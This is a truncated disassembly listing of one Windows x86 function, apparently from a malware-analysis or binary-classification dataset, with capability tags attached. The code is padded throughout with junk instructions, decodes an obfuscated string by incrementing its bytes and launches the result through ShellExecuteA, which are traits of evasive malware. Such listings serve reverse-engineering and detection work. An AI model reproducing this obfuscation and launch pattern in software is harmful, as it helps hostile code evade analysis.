Function at 0x401660
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
push edi
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ax, word [0x40a0f8]
mov word [ebp - 0x390], ax
lea ecx, [ebp - 0x390]
mov dword [ebp - 0x258], ecx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x258], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
call fcn.00401160
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x379], 0
mov byte [ebp - 9], 0
mov byte [ebp - 0x25e], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x384], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x231], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov dword [ebp - 8], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x120], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x378], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x377]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x230], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x254], 0
xor eax, eax
mov dword [ebp - 0x253], eax
mov dword [ebp - 0x24f], eax
mov dword [ebp - 0x24b], eax
mov dword [ebp - 0x247], eax
mov dword [ebp - 0x243], eax
mov dword [ebp - 0x23f], eax
mov dword [ebp - 0x23b], eax
mov word [ebp - 0x237], ax
mov byte [ebp - 0x235], al
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov dword [ebp - 0x268], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov dword [ebp - 0x25c], 0x7f
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x385], 0
mov byte [ebp - 0x25d], 0
mov byte [ebp - 0x25f], 0
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x104
lea ecx, [ebp - 0x120]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea edx, [ebp - 0x120]
push edx
call fcn.004046a0
add esp, 4
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea eax, [ebp - 0x378]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x258]
movsx edx, byte [ecx]
cmp edx, 0x5f
jne 0x401d50
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [str.dwoknqdq_dwd]
mov dword [ebp - 0x3a0], eax
mov ecx, dword [0x40a100]
mov dword [ebp - 0x39c], ecx
mov edx, dword [0x40a104]
mov dword [ebp - 0x398], edx
mov al, byte [0x40a108]
mov byte [ebp - 0x394], al
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov dword [ebp - 0x3a4], 0
jmp 0x401b2b
mov ecx, dword [ebp - 0x3a4]
add ecx, 1
mov dword [ebp - 0x3a4], ecx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea edx, [ebp - 0x3a0]
mov dword [ebp - 0x3b4], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x3b4]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x401bd2
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x3b4]
lea eax, [ebp - 0x3a0]
sub edx, eax
mov dword [ebp - 0x3b8], edx
jmp 0x401c0e
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x3b4]
add ecx, 1
mov dword [ebp - 0x3b4], ecx
jmp 0x401b5f
mov edx, dword [ebp - 0x3a4]
cmp edx, dword [ebp - 0x3b8]
jae 0x401c8f
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x3a4]
movsx ecx, byte [ebp + eax - 0x3a0]
add ecx, 1
mov edx, dword [ebp - 0x3a4]
mov byte [ebp + edx - 0x3a0], cl
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x401b1c
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 1
push 0
lea eax, [ebp - 0x378]
push eax
lea ecx, [ebp - 0x3a0]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x401e57
mov edx, dword [ebp - 0x258]
movsx eax, byte [edx]
cmp eax, 0x2e
jne 0x401dba
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x25d], 1
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x403a19
mov ecx, dword [ebp - 0x258]
movsx edx, byte [ecx]
cmp edx, 0x24
jne 0x401e57
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x25f], 1
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x25d], 1
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x403a19
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
lea eax, [ebp - 0x120]
mov dword [ebp - 0x3bc], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x3bc]
movsx edx, byte [ecx]
test edx, edx
jne 0x401efe
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x3bc]
lea ecx, [ebp - 0x120]
sub eax, ecx
mov dword [ebp - 0x3c0], eax
jmp 0x401f3a
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x3bc]
add edx, 1
mov dword [ebp - 0x3bc], edx
jmp 0x401e8b
mov eax, dword [ebp - 0x3c0]
lea ecx, [ebp + eax - 0x120]
mov dword [ebp - 0x14], ecx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x120]
sub edx, eax
mov dword [ebp - 0x380], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
cmp dword [ebp - 0x380], 1
jle 0x40201a
mov ecx, dword [ebp - 0x14]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x40201a
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x401fab
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x14]
movsx edx, byte [ecx]
cmp edx, 0x5c
jne 0x402058
mov eax, dword [ebp - 0x14]
movsx ecx, byte [eax + 1]
test ecx, ecx
jne 0x402087
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
xor eax, eax
jmp 0x404345
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x26c], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x26c]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x40215f
mov edx, dword [ebp - 0x26c]
lea eax, [ebp - 0x120]
cmp edx, eax
jbe 0x40215f
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x26c]
sub ecx, 1
mov dword [ebp - 0x26c], ecx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x4020e0
mov edx, dword [ebp - 0x26c]
lea eax, [ebp - 0x120]
cmp edx, eax
ja 0x40219e
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
xor eax, eax
jmp 0x404345
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x264], ecx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x26c]
movsx eax, byte [edx]
cmp eax, 0x3a
je 0x402379
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x26c]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x4022b3
mov eax, dword [ebp - 0x26c]
lea ecx, [ebp - 0x120]
cmp eax, ecx
jbe 0x4022b3
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x26c]
sub edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x402234
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x26c]
movsx ecx, byte [eax]
cmp ecx, 0x5c
je 0x402318
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
xor eax, eax
jmp 0x404345
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x4023d8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp - 0x26c]
sub eax, 1
mov dword [ebp - 0x26c], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
